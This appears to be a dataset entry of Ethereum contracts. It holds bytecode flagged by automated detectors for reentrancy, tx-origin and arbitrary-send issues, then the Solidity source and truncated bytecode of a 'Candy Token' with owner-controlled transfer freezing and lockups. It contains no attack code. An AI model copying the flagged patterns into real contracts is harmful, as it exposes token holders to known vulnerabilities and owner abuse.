2b21760e91b6064820152608401610788565b600061149030610928565b9050801561151c5760105462010000900460ff161561151357600c54600954606491906114c5906001600160a01b0316610928565b6114cf9190611ba8565b6114d99190611bc7565b81111561151357600c54600954606491906114fc906001600160a01b0316610928565b6115069190611ba8565b6115109190611bc7565b90505b61151c81611617565b47801561152c5761152c47611592565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061157557506001600160a01b03841660009081526004602052604090205460ff165b1561157e575060005b61158b858585848661178b565b5050505050565b6007546001600160a01b03166108fc6115ac600284611bc7565b6040518115909202916000818181858888f193505050501580156115d4573d6000803e3d6000fd5b506008546001600160a01b03166108fc6115ef600284611bc7565b6040518115909202916000818181858888f19350505050158015610e70573d6000803e3d6000fd5b6010805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061165b5761165b611be9565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156116b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116d89190611b28565b816001815181106116eb576116eb611be9565b6001600160a01b0392831660209182029290920101526006546117119130911684610e74565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac9479061174a908590600090869030904290600401611bff565b600060405180830381600087803b15801561176457600080fd5b505af1158015611778573d6000803e3d6000fd5b50506010805461ff001916905550505050565b600061179783836117ad565b90506117a5868686846117f4565b505050505050565b60008083156117ed5782156117c55750600a546117ed565b50600b54600f546117d890610708611b90565b4210156117ed576117ea600d82611b90565b90505b9392505050565b60008061180184846118d1565b6001600160a01b038816600090815260026020526040902054919350915061182a908590611adc565b6001600160a01b03808816600090815260026020526040808220939093559087168152205461185a908390611b90565b6001600160a01b03861660009081526002602052604090205561187c81611905565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118c191815260200190565b60405180910390a3505050505050565b6000808060646118e18587611ba8565b6118eb9190611bc7565b905060006118f98287611adc565b96919550909350505050565b30600090815260026020526040902054611920908290611b90565b3060009081526002602052604090205550565b600060208083528351808285015260005b8181101561196057858101830151858201604001528201611944565b81811115611972576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461092557600080fd5b6000602082840312156119af57600080fd5b81356117ed81611988565b600080604083850312156119cd57600080fd5b82356119d881611988565b946020939093013593505050565b600080604083850312156119f957600080fd5b50508035926020909101359150565b600080600060608486031215611a1d57600080fd5b8335611a2881611988565b92506020840135611a3881611988565b929592945050506040919091013590565b600060208284031215611a5b57600080fd5b5035919050565b801515811461092557600080fd5b600060208284031215611a8257600080fd5b81356117ed81611a62565b60008060408385031215611aa057600080fd5b8235611aab81611988565b91506020830135611abb81611988565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611aee57611aee611ac6565b500390565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611b3a57600080fd5b81516117ed81611988565b600080600060608486031215611b5a57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611b8557600080fd5b81516117ed81611a62565b60008219821115611ba357611ba3611ac6565b500190565b6000816000190483118215151615611bc257611bc2611ac6565b500290565b600082611be457634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c4f5784516001600160a01b031683529383019391830191600101611c2a565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122060154b5222080b61e24658649c5704c4c5fc1fe6706db7c407072f11bfa52ca564736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,937 |
0xf4c95bb36a83266f72e4059f75534400b84b7a37
|
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
Transfer(burner, address(0), _value);
}
}
/*
先发30%,3个月解锁30%,6个月解锁40%
*/
contract CYC is StandardToken, BurnableToken, Ownable {
// Constants
string public constant name = "Candy Token";
string public constant symbol = "CYC";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 50000000000 * (10 ** uint256(decimals));
mapping(address => uint256) public balanceLocked; //地址 - 锁定代币数量
mapping(address => uint256) public lockAtTime; //地址 - 锁定起始时间点
uint public amountRaised;
uint256 public buyPrice = 250000;
bool public crowdsaleClosed;
bool public transferEnabled = true;
function CYC() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
function _lock(address _owner) internal {
balanceLocked[_owner] = balances[_owner];
lockAtTime[_owner] = now;
}
function _transfer(address _from, address _to, uint _value) internal {
require (balances[_from] >= _value); // Check if the sender has enough
require (balances[_to] + _value > balances[_to]); // Check for overflows
balances[_from] = balances[_from].sub(_value); // Subtract from the sender
balances[_to] = balances[_to].add(_value); // Add the same to the recipient
_lock(_to);
Transfer(_from, _to, _value);
}
function setPrices(bool closebuy, uint256 newBuyPrice) onlyOwner public {
crowdsaleClosed = closebuy;
buyPrice = newBuyPrice;
}
function () external payable {
require(!crowdsaleClosed);
uint amount = msg.value ; // calculates the amount
amountRaised = amountRaised.add(amount);
_transfer(owner, msg.sender, amount.mul(buyPrice));
}
//取回eth, 参数设为0 则全部取回, 否则取回指定数量的eth
function safeWithdrawal(uint _value ) onlyOwner public {
if (_value == 0)
owner.transfer(address(this).balance);
else
owner.transfer(_value);
}
/* Batch token transfer. Used by contract creator to distribute initial tokens to holders */
function batchTransfer(address[] _recipients, uint[] _values) onlyOwner public returns (bool) {
require( _recipients.length > 0 && _recipients.length == _values.length);
uint total = 0;
for(uint i = 0; i < _values.length; i++){
total = total.add(_values[i]);
}
require(total <= balances[msg.sender]);
for(uint j = 0; j < _recipients.length; j++){
balances[_recipients[j]] = balances[_recipients[j]].add(_values[j]);
Transfer(msg.sender, _recipients[j], _values[j]);
}
balances[msg.sender] = balances[msg.sender].sub(total);
return true;
}
function enableTransfer(bool _enable) onlyOwner external {
transferEnabled = _enable;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(transferEnabled);
require(checkLocked(_from, _value));
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(transferEnabled);
require(checkLocked(msg.sender, _value));
return super.transfer(_to, _value);
}
//通过本函数发币, 不会被锁定
function transferEx(address _to, uint256 _value) onlyOwner public returns (bool) {
return super.transfer(_to, _value);
}
// 传入要锁定的地址, 锁定数量为地址当前拥有的数量
//流程:
//ICO 完成后, 调用此函数设置锁定地址, 然后调用 enableTransfer 函数允许转token
function lockAddress( address[] _addr ) onlyOwner external {
for (uint i = 0; i < _addr.length; i++) {
_lock(_addr[i]);
}
}
// 解锁地址
function unlockAddress( address[] _addr ) onlyOwner external {
for (uint i = 0; i < _addr.length; i++) {
balanceLocked[_addr[i]] = 0;
}
}
// 传入地址, 返回当前可转币的数量
function getFreeBalances( address _addr ) public view returns(uint) {
if (balanceLocked[_addr] > 0) {
if (now > lockAtTime[_addr] + 180 days) {
return balances[_addr];
} else if (now > lockAtTime[_addr] + 90 days) {
return balances[_addr] - balanceLocked[_addr] / 10 * 4;
} else {
return balances[_addr] - balanceLocked[_addr] / 10 * 7 ;
}
}
return balances[_addr];
}
function checkLocked(address _addr, uint256 _value) internal view returns (bool) {
if (balanceLocked[_addr] > 0) { //address is locked
if (now > lockAtTime[_addr] + 180 days) {
return true;
} else if (now > lockAtTime[_addr] + 90 days) {
return (balances[_addr] - _value >= balanceLocked[_addr] / 10 * 4);
} else {
return (balances[_addr] - _value >= balanceLocked[_addr] / 10 * 7 );
}
}
return true;
}
}
|
0x606060405260043610610175576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630604c594146101f557806306fdde0314610242578063095ea7b3146102d05780630b6521ec1461032a57806318160ddd1461037757806323b872dd146103a05780632ff2e9dc14610419578063313ce567146104425780633604caa11461047157806342966c681461049f5780634cd412d5146104c25780635f56b6fe146104ef5780635fc3a31214610512578063661884631461055f57806370a08231146105b95780637b3e5e7b146106065780638620410b1461062f57806388d695b2146106585780638da5cb5b1461070a57806395d89b411461075f5780639fe802f1146107ed578063a9059cbb14610847578063c974947d146108a1578063ccb07cef146108cf578063d6bc1b39146108fc578063d73dd6231461092a578063dd62ed3e14610984578063ef7ac0e5146109f0578063f2fde38b14610a15575b6000600860009054906101000a900460ff1615151561019357600080fd5b3490506101ab81600654610a4e90919063ffffffff16565b6006819055506101f2600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16336101ed60075485610a6c90919063ffffffff16565b610aa7565b50005b341561020057600080fd5b61022c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d19565b6040518082815260200191505060405180910390f35b341561024d57600080fd5b610255610fb3565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561029557808201518184015260208101905061027a565b50505050905090810190601f1680156102c25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156102db57600080fd5b610310600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610fec565b604051808215151515815260200191505060405180910390f35b341561033557600080fd5b610361600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506110de565b6040518082815260200191505060405180910390f35b341561038257600080fd5b61038a6110f6565b6040518082815260200191505060405180910390f35b34156103ab57600080fd5b6103ff600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611100565b604051808215151515815260200191505060405180910390f35b341561042457600080fd5b61042c611146565b6040518082815260200191505060405180910390f35b341561044d57600080fd5b610455611158565b604051808260ff1660ff16815260200191505060405180910390f35b341561047c57600080fd5b61049d6004808035906020019082018035906020019190919290505061115d565b005b34156104aa57600080fd5b6104c06004808035906020019091905050611210565b005b34156104cd57600080fd5b6104d56113c8565b604051808215151515815260200191505060405180910390f35b34156104fa57600080fd5b61051060048080359060200190919050506113db565b005b341561051d57600080fd5b610549600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611524565b6040518082815260200191505060405180910390f35b341561056a57600080fd5b61059f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061153c565b604051808215151515815260200191505060405180910390f35b34156105c457600080fd5b6105f0600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506117cd565b6040518082815260200191505060405180910390f35b341561061157600080fd5b610619611815565b6040518082815260200191505060405180910390f35b341561063a57600080fd5b61064261181b565b6040518082815260200191505060405180910390f35b341561066357600080fd5b6106f060048080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050611821565b604051808215151515815260200191505060405180910390f35b341561071557600080fd5b61071d611b5e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561076a57600080fd5b610772611b84565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107b2578082015181840152602081019050610797565b50505050905090810190601f1680156107df5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156107f857600080fd5b61082d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611bbd565b604051808215151515815260200191505060405180910390f35b341561085257600080fd5b610887600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611c2d565b604051808215151515815260200191505060405180910390f35b34156108ac57600080fd5b6108cd60048080359060200190820180359060200191909192905050611c71565b005b34156108da57600080fd5b6108e2611d60565b604051808215151515815260200191505060405180910390f35b341561090757600080fd5b61092860048080351515906020019091908035906020019091905050611d73565b005b341561093557600080fd5b61096a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611df4565b604051808215151515815260200191505060405180910390f35b341561098f57600080fd5b6109da600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611ff0565b6040518082815260200191505060405180910390f35b34156109fb57600080fd5b610a1360048080351515906020019091905050612077565b005b3415610a2057600080fd5b610a4c600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506120f0565b005b6000808284019050838110151515610a6257fe5b8091505092915050565b6000806000841415610a815760009150610aa0565b8284029050828482811515610a9257fe5b04141515610a9c57fe5b8091505b5092915050565b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610af457600080fd5b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401111515610b8057600080fd5b610bd1816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461224890919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c64816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a4e90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610caf82612261565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115610f6c5762ed4e00600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401421115610df4576000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610fae565b6276a700600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401421115610ed6576004600a600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811515610e8d57fe5b04026000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054039050610fae565b6007600a600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811515610f2357fe5b04026000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054039050610fae565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b919050565b6040805190810160405280600b81526020017f43616e647920546f6b656e00000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60056020528060005260406000206000915090505481565b6000600154905090565b6000600860019054906101000a900460ff16151561111d57600080fd5b611127848361232a565b151561113257600080fd5b61113d848484612551565b90509392505050565b601260ff16600a0a640ba43b74000281565b601281565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111bb57600080fd5b600090505b8282905081101561120b576111fe83838381811015156111dc57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff16612261565b80806001019150506111c0565b505050565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561125f57600080fd5b3390506112b3826000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461224890919063ffffffff16565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061130a8260015461224890919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600860019054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561143757600080fd5b60008114156114be57600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f1935050505015156114b957600080fd5b611521565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050151561152057600080fd5b5b50565b60046020528060005260406000206000915090505481565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561164d576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116e1565b611660838261224890919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60065481565b60075481565b600080600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561188357600080fd5b60008651118015611895575084518651145b15156118a057600080fd5b60009250600091505b84518210156118eb576118dc85838151811015156118c357fe5b9060200190602002015184610a4e90919063ffffffff16565b925081806001019250506118a9565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561193857600080fd5b600090505b8551811015611abe576119c5858281518110151561195757fe5b90602001906020020151600080898581518110151561197257fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a4e90919063ffffffff16565b60008088848151811015156119d657fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508581815181101515611a2c57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8784815181101515611a9257fe5b906020019060200201516040518082815260200191505060405180910390a3808060010191505061193d565b611b0f836000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461224890919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001935050505092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f435943000000000000000000000000000000000000000000000000000000000081525081565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c1b57600080fd5b611c25838361290b565b905092915050565b6000600860019054906101000a900460ff161515611c4a57600080fd5b611c54338361232a565b1515611c5f57600080fd5b611c69838361290b565b905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ccf57600080fd5b600090505b82829050811015611d5b576000600460008585858181101515611cf357fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508080600101915050611cd4565b505050565b600860009054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611dcf57600080fd5b81600860006101000a81548160ff021916908315150217905550806007819055505050565b6000611e8582600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a4e90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156120d357600080fd5b80600860016101000a81548160ff02191690831515021790555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561214c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156121885760